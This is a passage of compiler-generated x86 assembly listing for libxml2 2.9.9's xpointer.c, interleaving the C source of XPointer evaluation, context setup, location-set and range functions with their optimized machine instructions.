; 1652 : case XPATH_POINT:
; 1653 : return(xmlCopyNode(obj->user, 0));
push 0
push DWORD PTR [ecx+28]
call _xmlCopyNode
add esp, 8
pop edi
; 1658 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN44@xmlXPtrBui:
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
npad 1
$LN48@xmlXPtrBui:
DD $LN15@xmlXPtrBui
DD $LN30@xmlXPtrBui
DD $LN30@xmlXPtrBui
DD $LN30@xmlXPtrBui
DD $LN29@xmlXPtrBui
DD $LN28@xmlXPtrBui
DD $LN23@xmlXPtrBui
$LN49@xmlXPtrBui:
DD $LN4@xmlXPtrBui
DD $LN7@xmlXPtrBui
$LN45@xmlXPtrBui:
DB 0
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 0
DB 0
DB 0
DB 1
DB 0
DB 0
DB 0
DB 0
DB 0
_xmlXPtrBuildNodeList ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrRangeToFunction
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_nargs$ = 12 ; size = 4
_xmlXPtrRangeToFunction PROC ; COMDAT
; 2227 : int nargs ATTRIBUTE_UNUSED) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
; 2228 : XP_ERROR(XPATH_EXPR_ERROR);
mov DWORD PTR _nargs$[ebp], 7
; 2229 : }
pop ebp
; 2228 : XP_ERROR(XPATH_EXPR_ERROR);
jmp _xmlXPathErr
_xmlXPtrRangeToFunction ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrEval
_TEXT SEGMENT
_res$1$ = -4 ; size = 4
_str$ = 8 ; size = 4
_ctx$ = 12 ; size = 4
_xmlXPtrEval PROC ; COMDAT
; 1339 : xmlXPtrEval(const xmlChar *str, xmlXPathContextPtr ctx) {
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov DWORD PTR _res$1$[ebp], 0
xor esi, esi
call _xmlXPathInit
mov ebx, DWORD PTR _ctx$[ebp]
test ebx, ebx
je $LN6@xmlXPtrEva
; 1340 : xmlXPathParserContextPtr ctxt;
; 1341 : xmlXPathObjectPtr res = NULL, tmp;
; 1342 : xmlXPathObjectPtr init = NULL;
; 1343 : int stack = 0;
; 1344 :
; 1345 : xmlXPathInit();
; 1346 :
; 1347 : if ((ctx == NULL) || (str == NULL))
mov eax, DWORD PTR _str$[ebp]
test eax, eax
je $LN6@xmlXPtrEva
; 1348 : return(NULL);
; 1349 :
; 1350 : ctxt = xmlXPathNewParserContext(str, ctx);
push ebx
push eax
call _xmlXPathNewParserContext
mov edi, eax
add esp, 8
; 1351 : if (ctxt == NULL)
test edi, edi
je $LN6@xmlXPtrEva
; 1352 : return(NULL);
; 1353 : ctxt->xptr = 1;
; 1354 : xmlXPtrEvalXPointer(ctxt);
push edi
mov DWORD PTR [edi+36], 1
call _xmlXPtrEvalXPointer
; 1355 :
; 1356 : if ((ctxt->value != NULL) &&
; 1357 : (ctxt->value->type != XPATH_NODESET) &&
mov eax, DWORD PTR [edi+16]
add esp, 4
test eax, eax
je SHORT $LN8@xmlXPtrEva
mov eax, DWORD PTR [eax]
cmp eax, 1
je SHORT $LN8@xmlXPtrEva
cmp eax, 7
je SHORT $LN8@xmlXPtrEva
; 1358 : (ctxt->value->type != XPATH_LOCATIONSET)) {
; 1359 : xmlXPtrErr(ctxt, XML_XPTR_EVAL_FAILED,
push esi
push OFFSET ??_C@_0DF@PGJMIHPP@xmlXPtrEval?3?5evaluation?5failed?5@
push 1902 ; 0000076eH
push edi
call _xmlXPtrErr
add esp, 16 ; 00000010H
; 1360 : "xmlXPtrEval: evaluation failed to return a node set\n",
; 1361 : NULL);
; 1362 : } else {
jmp SHORT $LL4@xmlXPtrEva
$LN8@xmlXPtrEva:
; 1363 : res = valuePop(ctxt);
push edi
call _valuePop
mov DWORD PTR _res$1$[ebp], eax
$LN33@xmlXPtrEva:
; 1364 : }
; 1365 :
; 1366 : do {
; 1367 : tmp = valuePop(ctxt);
add esp, 4
npad 2
$LL4@xmlXPtrEva:
push edi
call _valuePop
mov ecx, eax
add esp, 4
; 1368 : if (tmp != NULL) {
test ecx, ecx
je SHORT $LN24@xmlXPtrEva
; 1369 : if (tmp != init) {
; 1370 : if (tmp->type == XPATH_NODESET) {
cmp DWORD PTR [ecx], 1
jne SHORT $LN12@xmlXPtrEva
; 1371 : /*
; 1372 : * Evaluation may push a root nodeset which is unused
; 1373 : */
; 1374 : xmlNodeSetPtr set;
; 1375 : set = tmp->nodesetval;
mov eax, DWORD PTR [ecx+4]
; 1376 : if ((set == NULL) || (set->nodeNr != 1) ||
test eax, eax
je SHORT $LN12@xmlXPtrEva
cmp DWORD PTR [eax], 1
jne SHORT $LN12@xmlXPtrEva
mov eax, DWORD PTR [eax+8]
mov eax, DWORD PTR [eax]
cmp eax, DWORD PTR [ebx]
je SHORT $LN13@xmlXPtrEva
$LN12@xmlXPtrEva:
; 1377 : (set->nodeTab[0] != (xmlNodePtr) ctx->doc))
; 1378 : stack++;
; 1379 : } else
; 1380 : stack++;
; 1381 : }
; 1382 : xmlXPathFreeObject(tmp);
inc esi
$LN13@xmlXPtrEva:
push ecx
call _xmlXPathFreeObject
; 1383 : }
; 1384 : } while (tmp != NULL);
jmp SHORT $LN33@xmlXPtrEva
$LN24@xmlXPtrEva:
; 1385 : if (stack != 0) {
test esi, esi
je SHORT $LN16@xmlXPtrEva
; 1386 : xmlXPtrErr(ctxt, XML_XPTR_EXTRA_OBJECTS,
push 0
push OFFSET ??_C@_0CP@NCKIHCDF@xmlXPtrEval?3?5object?$CIs?$CJ?5left?5on?5@
push 1903 ; 0000076fH
push edi
call _xmlXPtrErr
add esp, 16 ; 00000010H
$LN16@xmlXPtrEva:
; 1387 : "xmlXPtrEval: object(s) left on the eval stack\n",
; 1388 : NULL);
; 1389 : }
; 1390 : if (ctxt->error != XPATH_EXPRESSION_OK) {
mov ebx, DWORD PTR [edi+8]
test ebx, ebx
je SHORT $LN17@xmlXPtrEva
; 1391 : xmlXPathFreeObject(res);
push DWORD PTR _res$1$[ebp]
call _xmlXPathFreeObject
add esp, 4
$LN17@xmlXPtrEva:
; 1392 : res = NULL;
; 1393 : }
; 1394 :
; 1395 : xmlXPathFreeParserContext(ctxt);
xor esi, esi
test ebx, ebx
push edi
cmove esi, DWORD PTR _res$1$[ebp]
call _xmlXPathFreeParserContext
add esp, 4
; 1396 : return(res);
mov eax, esi
pop edi
; 1397 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN6@xmlXPtrEva:
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlXPtrEval ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewContext
_TEXT SEGMENT
_doc$ = 8 ; size = 4
_here$ = 12 ; size = 4
_origin$ = 16 ; size = 4
_xmlXPtrNewContext PROC ; COMDAT
; 1300 : xmlXPtrNewContext(xmlDocPtr doc, xmlNodePtr here, xmlNodePtr origin) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _doc$[ebp]
call _xmlXPathNewContext
mov esi, eax
add esp, 4
test esi, esi
jne SHORT $LN2@xmlXPtrNew
pop esi
; 1326 : }
pop ebp
ret 0
$LN2@xmlXPtrNew:
; 1301 : xmlXPathContextPtr ret;
; 1302 :
; 1303 : ret = xmlXPathNewContext(doc);
; 1304 : if (ret == NULL)
; 1305 : return(ret);
; 1306 : ret->xptr = 1;
; 1307 : ret->here = here;
mov eax, DWORD PTR _here$[ebp]
; 1308 : ret->origin = origin;
; 1309 :
; 1310 : xmlXPathRegisterFunc(ret, (xmlChar *)"range",
push OFFSET _xmlXPtrRangeFunction
mov DWORD PTR [esi+80], eax
mov eax, DWORD PTR _origin$[ebp]
push OFFSET ??_C@_05CCGOGOBM@range@
push esi
mov DWORD PTR [esi+76], 1
mov DWORD PTR [esi+84], eax
call _xmlXPathRegisterFunc
; 1311 : xmlXPtrRangeFunction);
; 1312 : xmlXPathRegisterFunc(ret, (xmlChar *)"range-inside",
push OFFSET _xmlXPtrRangeInsideFunction
push OFFSET ??_C@_0N@FPBCPIBK@range?9inside@
push esi
call _xmlXPathRegisterFunc
; 1313 : xmlXPtrRangeInsideFunction);
; 1314 : xmlXPathRegisterFunc(ret, (xmlChar *)"string-range",
push OFFSET _xmlXPtrStringRangeFunction
push OFFSET ??_C@_0N@NHPDEMLM@string?9range@
push esi
call _xmlXPathRegisterFunc
; 1315 : xmlXPtrStringRangeFunction);
; 1316 : xmlXPathRegisterFunc(ret, (xmlChar *)"start-point",
push OFFSET _xmlXPtrStartPointFunction
push OFFSET ??_C@_0M@KAHBAHMC@start?9point@
push esi
call _xmlXPathRegisterFunc
; 1317 : xmlXPtrStartPointFunction);
; 1318 : xmlXPathRegisterFunc(ret, (xmlChar *)"end-point",
push OFFSET _xmlXPtrEndPointFunction
push OFFSET ??_C@_09BKKFPLJK@end?9point@
push esi
call _xmlXPathRegisterFunc
; 1319 : xmlXPtrEndPointFunction);
; 1320 : xmlXPathRegisterFunc(ret, (xmlChar *)"here",
push OFFSET _xmlXPtrHereFunction
push OFFSET ??_C@_04NDJIBAID@here@
push esi
call _xmlXPathRegisterFunc
add esp, 72 ; 00000048H
; 1321 : xmlXPtrHereFunction);
; 1322 : xmlXPathRegisterFunc(ret, (xmlChar *)" origin",
push OFFSET _xmlXPtrOriginFunction
push OFFSET ??_C@_07NGBELOAG@?5origin@
push esi
call _xmlXPathRegisterFunc
add esp, 12 ; 0000000cH
; 1323 : xmlXPtrOriginFunction);
; 1324 :
; 1325 : return(ret);
mov eax, esi
pop esi
; 1326 : }
pop ebp
ret 0
_xmlXPtrNewContext ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrLocationSetRemove
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_val$ = 12 ; size = 4
_xmlXPtrLocationSetRemove PROC ; COMDAT
; 723 : xmlXPtrLocationSetRemove(xmlLocationSetPtr cur, int val) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je SHORT $LN1@xmlXPtrLoc
; 724 : if (cur == NULL) return;
; 725 : if (val >= cur->locNr) return;
mov ecx, DWORD PTR [esi]
mov edx, DWORD PTR _val$[ebp]
cmp edx, ecx
jge SHORT $LN1@xmlXPtrLoc
; 726 : cur->locNr--;
dec ecx
mov DWORD PTR [esi], ecx
; 727 : for (;val < cur->locNr;val++)
cmp edx, ecx
jge SHORT $LN11@xmlXPtrLoc
$LL4@xmlXPtrLoc:
; 728 : cur->locTab[val] = cur->locTab[val + 1];
mov eax, DWORD PTR [esi+8]
lea ecx, DWORD PTR [eax+edx*4]
inc edx
mov eax, DWORD PTR [ecx+4]
mov DWORD PTR [ecx], eax
mov ecx, DWORD PTR [esi]
cmp edx, ecx
jl SHORT $LL4@xmlXPtrLoc
$LN11@xmlXPtrLoc:
; 729 : cur->locTab[cur->locNr] = NULL;
mov eax, DWORD PTR [esi+8]
mov DWORD PTR [eax+ecx*4], 0
$LN1@xmlXPtrLoc:
pop esi
; 730 : }
pop ebp
ret 0
_xmlXPtrLocationSetRemove ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrLocationSetDel
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_val$ = 12 ; size = 4
_xmlXPtrLocationSetDel PROC ; COMDAT
; 690 : xmlXPtrLocationSetDel(xmlLocationSetPtr cur, xmlXPathObjectPtr val) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je SHORT $LN1@xmlXPtrLoc
; 691 : int i;
; 692 :
; 693 : if (cur == NULL) return;
; 694 : if (val == NULL) return;
push edi
mov edi, DWORD PTR _val$[ebp]
test edi, edi
je SHORT $LN23@xmlXPtrLoc
; 695 :
; 696 : /*
; 697 : * check against doublons
; 698 : */
; 699 : for (i = 0;i < cur->locNr;i++)
mov edx, DWORD PTR [esi]
xor eax, eax
test edx, edx
jle SHORT $LN23@xmlXPtrLoc
; 700 : if (cur->locTab[i] == val) break;
mov ecx, DWORD PTR [esi+8]
$LL4@xmlXPtrLoc:
cmp DWORD PTR [ecx], edi
je SHORT $LN15@xmlXPtrLoc
; 695 :
; 696 : /*
; 697 : * check against doublons
; 698 : */
; 699 : for (i = 0;i < cur->locNr;i++)
inc eax
add ecx, 4
cmp eax, edx
jl SHORT $LL4@xmlXPtrLoc
pop edi
pop esi
; 713 : }
pop ebp
ret 0
$LN15@xmlXPtrLoc:
; 701 :
; 702 : if (i >= cur->locNr) {
cmp eax, edx
jge SHORT $LN23@xmlXPtrLoc
; 703 : #ifdef DEBUG
; 704 : xmlGenericError(xmlGenericErrorContext,
; 705 : "xmlXPtrLocationSetDel: Range wasn't found in RangeList\n");
; 706 : #endif
; 707 : return;
; 708 : }
; 709 : cur->locNr--;
lea ecx, DWORD PTR [edx-1]
mov DWORD PTR [esi], ecx
; 710 : for (;i < cur->locNr;i++)
cmp eax, ecx
jge SHORT $LN20@xmlXPtrLoc
$LL7@xmlXPtrLoc:
; 711 : cur->locTab[i] = cur->locTab[i + 1];
mov ecx, DWORD PTR [esi+8]
lea edx, DWORD PTR [ecx+eax*4]
inc eax
mov ecx, DWORD PTR [edx+4]
mov DWORD PTR [edx], ecx
mov ecx, DWORD PTR [esi]
cmp eax, ecx
jl SHORT $LL7@xmlXPtrLoc
$LN20@xmlXPtrLoc:
; 712 : cur->locTab[cur->locNr] = NULL;
mov eax, DWORD PTR [esi+8]
mov DWORD PTR [eax+ecx*4], 0
$LN23@xmlXPtrLoc:
pop edi
$LN1@xmlXPtrLoc:
pop esi
; 713 : }
pop ebp
ret 0
_xmlXPtrLocationSetDel ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrWrapLocationSet
_TEXT SEGMENT
_val$ = 8 ; size = 4
_xmlXPtrWrapLocationSet PROC ; COMDAT
; 826 : xmlXPtrWrapLocationSet(xmlLocationSetPtr val) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
push 48 ; 00000030H
call DWORD PTR _xmlMalloc
add esp, 4
test eax, eax
jne SHORT $LN2@xmlXPtrWra
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 827 : xmlXPathObjectPtr ret;
; 828 :
; 829 : ret = (xmlXPathObjectPtr) xmlMalloc(sizeof(xmlXPathObject));
; 830 : if (ret == NULL) {
; 831 : xmlXPtrErrMemory("allocating locationset");
; 832 : return(NULL);
xor eax, eax
; 837 : return(ret);
; 838 : }
pop ebp
ret 0
$LN2@xmlXPtrWra:
; 833 : }
; 834 : memset(ret, 0 , (size_t) sizeof(xmlXPathObject));
; 835 : ret->type = XPATH_LOCATIONSET;
; 836 : ret->user = (void *) val;
mov ecx, DWORD PTR _val$[ebp]
mov DWORD PTR [eax+4], 0
mov DWORD PTR [eax+8], 0
mov DWORD PTR [eax+12], 0
mov DWORD PTR [eax+16], 0
mov DWORD PTR [eax+20], 0
mov DWORD PTR [eax+24], 0
mov DWORD PTR [eax+32], 0
mov DWORD PTR [eax+36], 0
mov DWORD PTR [eax+40], 0
mov DWORD PTR [eax+44], 0
mov DWORD PTR [eax], 7
mov DWORD PTR [eax+28], ecx
; 837 : return(ret);
; 838 : }
pop ebp
ret 0
_xmlXPtrWrapLocationSet ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrLocationSetAdd
_TEXT SEGMENT
_cur$ = 8 ; size = 4
_val$ = 12 ; size = 4
_xmlXPtrLocationSetAdd PROC ; COMDAT
; 612 : xmlXPtrLocationSetAdd(xmlLocationSetPtr cur, xmlXPathObjectPtr val) {
push ebp
mov ebp, esp
push edi
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _cur$[ebp]
test edi, edi
je $LN6@xmlXPtrLoc
; 613 : int i;
; 614 :
; 615 : if ((cur == NULL) || (val == NULL)) return;
push esi
mov esi, DWORD PTR _val$[ebp]
test esi, esi
je $LN35@xmlXPtrLoc
; 616 :
; 617 : /*
; 618 : * check against doublons
; 619 : */
; 620 : for (i = 0;i < cur->locNr;i++) {
mov ecx, DWORD PTR [edi]
xor edx, edx
push ebx
test ecx, ecx
jle SHORT $LN3@xmlXPtrLoc
; 621 : if (xmlXPtrRangesEqual(cur->locTab[i], val)) {
mov ebx, DWORD PTR [edi+8]
$LL4@xmlXPtrLoc:
mov ecx, DWORD PTR [ebx]
; 312 : if (range1 == range2)
cmp ecx, esi
je $LN28@xmlXPtrLoc
; 313 : return(1);
; 314 : if ((range1 == NULL) || (range2 == NULL))
test ecx, ecx
je SHORT $LN17@xmlXPtrLoc
; 315 : return(0);
; 316 : if (range1->type != range2->type)
mov eax, DWORD PTR [ecx]
cmp eax, DWORD PTR [esi]
jne SHORT $LN17@xmlXPtrLoc
; 317 : return(0);
; 318 : if (range1->type != XPATH_RANGE)
cmp eax, 6
jne SHORT $LN17@xmlXPtrLoc
; 319 : return(0);
; 320 : if (range1->user != range2->user)
mov eax, DWORD PTR [ecx+28]
cmp eax, DWORD PTR [esi+28]
jne SHORT $LN17@xmlXPtrLoc
; 321 : return(0);
; 322 : if (range1->index != range2->index)
mov eax, DWORD PTR [ecx+32]
cmp eax, DWORD PTR [esi+32]
jne SHORT $LN17@xmlXPtrLoc
; 323 : return(0);
; 324 : if (range1->user2 != range2->user2)
mov eax, DWORD PTR [ecx+36]
cmp eax, DWORD PTR [esi+36]
jne SHORT $LN17@xmlXPtrLoc
; 325 : return(0);
; 326 : if (range1->index2 != range2->index2)
mov eax, DWORD PTR [ecx+40]
cmp eax, DWORD PTR [esi+40]
je SHORT $LN28@xmlXPtrLoc
$LN17@xmlXPtrLoc:
; 616 :
; 617 : /*
; 618 : * check against doublons
; 619 : */
; 620 : for (i = 0;i < cur->locNr;i++) {
mov ecx, DWORD PTR [edi]
inc edx
add ebx, 4
cmp edx, ecx
jl SHORT $LL4@xmlXPtrLoc
$LN3@xmlXPtrLoc:
; 623 : return;
; 624 : }
; 625 : }
; 626 :
; 627 : /*
; 628 : * grow the locTab if needed
; 629 : */
; 630 : if (cur->locMax == 0) {
mov eax, DWORD PTR [edi+4]
test eax, eax
jne SHORT $LN8@xmlXPtrLoc
; 631 : cur->locTab = (xmlXPathObjectPtr *) xmlMalloc(XML_RANGESET_DEFAULT *
push 40 ; 00000028H
call DWORD PTR _xmlMalloc
add esp, 4
mov DWORD PTR [edi+8], eax
; 632 : sizeof(xmlXPathObjectPtr));
; 633 : if (cur->locTab == NULL) {
test eax, eax
jne SHORT $LN10@xmlXPtrLoc
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
pop ebx
pop esi
pop edi
; 653 : }
pop ebp
ret 0
$LN28@xmlXPtrLoc:
; 622 : xmlXPathFreeObject(val);
push esi
call _xmlXPathFreeObject
add esp, 4
pop ebx
pop esi
pop edi
; 653 : }
pop ebp
ret 0
$LN10@xmlXPtrLoc:
xorps xmm0, xmm0
; 634 : xmlXPtrErrMemory("adding location to set");
; 635 : return;
; 636 : }
; 637 : memset(cur->locTab, 0 ,
movups XMMWORD PTR [eax], xmm0
pop ebx
movups XMMWORD PTR [eax+16], xmm0
movq QWORD PTR [eax+32], xmm0
; 651 : }
; 652 : cur->locTab[cur->locNr++] = val;
mov ecx, DWORD PTR [edi]
mov eax, DWORD PTR [edi+8]
mov DWORD PTR [edi+4], 10 ; 0000000aH
mov DWORD PTR [eax+ecx*4], esi
inc DWORD PTR [edi]
pop esi
pop edi
; 653 : }
pop ebp
ret 0
$LN8@xmlXPtrLoc:
; 638 : XML_RANGESET_DEFAULT * (size_t) sizeof(xmlXPathObjectPtr));
; 639 : cur->locMax = XML_RANGESET_DEFAULT;
; 640 : } else if (cur->locNr == cur->locMax) {
cmp ecx, eax
jne SHORT $LN11@xmlXPtrLoc
; 641 : xmlXPathObjectPtr *temp;
; 642 :
; 643 : cur->locMax *= 2;
add eax, eax
mov DWORD PTR [edi+4], eax
; 644 : temp = (xmlXPathObjectPtr *) xmlRealloc(cur->locTab, cur->locMax *
shl eax, 2
push eax
push DWORD PTR [edi+8]
call DWORD PTR _xmlRealloc
add esp, 8
; 645 : sizeof(xmlXPathObjectPtr));
; 646 : if (temp == NULL) {
test eax, eax
jne SHORT $LN12@xmlXPtrLoc
; 647 : xmlXPtrErrMemory("adding location to set");
push OFFSET ??_C@_0BH@MIMPNDJH@adding?5location?5to?5set@
call _xmlXPtrErrMemory
add esp, 4
pop ebx
pop esi
pop edi
; 653 : }
pop ebp
ret 0
$LN12@xmlXPtrLoc:
; 648 : return;
; 649 : }
; 650 : cur->locTab = temp;
mov DWORD PTR [edi+8], eax
$LN11@xmlXPtrLoc:
; 651 : }
; 652 : cur->locTab[cur->locNr++] = val;
mov ecx, DWORD PTR [edi]
mov eax, DWORD PTR [edi+8]
pop ebx
mov DWORD PTR [eax+ecx*4], esi
inc DWORD PTR [edi]
$LN35@xmlXPtrLoc:
pop esi
$LN6@xmlXPtrLoc:
pop edi
; 653 : }
pop ebp
ret 0
_xmlXPtrLocationSetAdd ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewCollapsedRange
_TEXT SEGMENT
_start$ = 8 ; size = 4
_xmlXPtrNewCollapsedRange PROC ; COMDAT
; 510 : xmlXPtrNewCollapsedRange(xmlNodePtr start) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov eax, DWORD PTR _start$[ebp]
test eax, eax
jne SHORT $LN2@xmlXPtrNew
; 517 : return(ret);
; 518 : }
pop ebp
ret 0
$LN2@xmlXPtrNew:
; 511 : xmlXPathObjectPtr ret;
; 512 :
; 513 : if (start == NULL)
; 514 : return(NULL);
; 515 :
; 516 : ret = xmlXPtrNewRangeInternal(start, -1, NULL, -1);
push -1
push 0
push -1
push eax
call _xmlXPtrNewRangeInternal
add esp, 16 ; 00000010H
; 517 : return(ret);
; 518 : }
pop ebp
ret 0
_xmlXPtrNewCollapsedRange ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewRangeNodeObject
_TEXT SEGMENT
_start$ = 8 ; size = 4
_end$ = 12 ; size = 4
_xmlXPtrNewRangeNodeObject PROC ; COMDAT
; 530 : xmlXPtrNewRangeNodeObject(xmlNodePtr start, xmlXPathObjectPtr end) {
push ebp
mov ebp, esp
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
mov edx, DWORD PTR _start$[ebp]
test edx, edx
je SHORT $LN10@xmlXPtrNew
; 531 : xmlNodePtr endNode;
; 532 : int endIndex;
; 533 : xmlXPathObjectPtr ret;
; 534 :
; 535 : if (start == NULL)
; 536 : return(NULL);
; 537 : if (end == NULL)
mov eax, DWORD PTR _end$[ebp]
test eax, eax
je SHORT $LN10@xmlXPtrNew
; 538 : return(NULL);
; 539 : switch (end->type) {
mov ecx, DWORD PTR [eax]
sub ecx, 1
je SHORT $LN8@xmlXPtrNew
sub ecx, 4
je SHORT $LN6@xmlXPtrNew
sub ecx, 1
jne SHORT $LN10@xmlXPtrNew
; 544 : case XPATH_RANGE:
; 545 : endNode = end->user2;
mov ecx, DWORD PTR [eax+36]
; 546 : endIndex = end->index2;
mov eax, DWORD PTR [eax+40]
; 547 : break;
jmp SHORT $LN2@xmlXPtrNew
$LN6@xmlXPtrNew:
; 540 : case XPATH_POINT:
; 541 : endNode = end->user;
mov ecx, DWORD PTR [eax+28]
; 542 : endIndex = end->index;
mov eax, DWORD PTR [eax+32]
; 543 : break;
jmp SHORT $LN2@xmlXPtrNew
$LN8@xmlXPtrNew:
; 548 : case XPATH_NODESET:
; 549 : /*
; 550 : * Empty set ...
; 551 : */
; 552 : if ((end->nodesetval == NULL) || (end->nodesetval->nodeNr <= 0))
mov eax, DWORD PTR [eax+4]
test eax, eax
je SHORT $LN10@xmlXPtrNew
mov ecx, DWORD PTR [eax]
test ecx, ecx
jle SHORT $LN10@xmlXPtrNew
; 554 : endNode = end->nodesetval->nodeTab[end->nodesetval->nodeNr - 1];
mov eax, DWORD PTR [eax+8]
mov ecx, DWORD PTR [eax+ecx*4-4]
; 555 : endIndex = -1;
or eax, -1
$LN2@xmlXPtrNew:
; 556 : break;
; 557 : default:
; 558 : /* TODO */
; 559 : return(NULL);
; 560 : }
; 561 :
; 562 : ret = xmlXPtrNewRangeInternal(start, -1, endNode, endIndex);
push esi
push eax
push ecx
push -1
push edx
call _xmlXPtrNewRangeInternal
mov esi, eax
; 563 : xmlXPtrRangeCheckOrder(ret);
push esi
call _xmlXPtrRangeCheckOrder
add esp, 20 ; 00000014H
; 564 : return(ret);
mov eax, esi
pop esi
; 565 : }
pop ebp
ret 0
$LN10@xmlXPtrNew:
; 553 : return(NULL);
xor eax, eax
; 565 : }
pop ebp
ret 0
_xmlXPtrNewRangeNodeObject ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xpointer.c
; COMDAT _xmlXPtrNewLocationSetNodeSet
_TEXT SEGMENT
_ret$1$ = -8 ; size = 4
_newset$1$ = -4 ; size = 4
_set$ = 8 ; size = 4
_xmlXPtrNewLocationSetNodeSet PROC ; COMDAT
; 790 : xmlXPtrNewLocationSetNodeSet(xmlNodeSetPtr set) {
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ecx, OFFSET __BEF3E6F7_xpointer@c
call @__CheckForDebuggerJustMyCode@4
push 48 ; 00000030H
call DWORD PTR _xmlMalloc
mov ebx, eax
add esp, 4
mov DWORD PTR _ret$1$[ebp], ebx
test ebx, ebx
jne SHORT $LN5@xmlXPtrNew
; 80 : __xmlRaiseError(NULL, NULL, NULL, NULL, NULL, XML_FROM_XPOINTER,
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push OFFSET ??_C@_0BP@DJFHNAOK@Memory?5allocation?5failed?5?3?5?$CFs?6@
push eax
push eax
push eax
push eax
push OFFSET ??_C@_0BH@HNICMPAH@allocating?5locationset@
push eax
push eax
push 2
push 2
push 13 ; 0000000dH
push eax
push eax
push eax
push eax
push eax
call ___xmlRaiseError
add esp, 68 ; 00000044H
; 791 : xmlXPathObjectPtr ret;
; 792 :
; 793 : ret = (xmlXPathObjectPtr) xmlMalloc(sizeof(xmlXPathObject));
; 794 : if (ret == NULL) {
; 795 : xmlXPtrErrMemory("allocating locationset");
; 796 : return(NULL);
xor eax, eax
pop ebx
; 815 : }
mov esp, ebp
pop ebp
ret 0
$LN5@xmlXPtrNew:
push edi
; 797 : }
; 798 : memset(ret, 0 , (size_t) sizeof(xmlXPathObject));
push 48 ; 00000030H
push 0
push ebx
call _memset
; 799 : ret->type = XPATH_LOCATIONSET;
; 800 : if (set != NULL) {
mov edi, DWORD PTR _set$[ebp]
add esp, 12 ; 0000000cH
mov DWORD PTR [ebx], 7
test edi, edi
je SHORT $LN6@xmlXPtrNew
; 801 : int i;
; 802 : xmlLocationSetPtr newset;
; 803 :
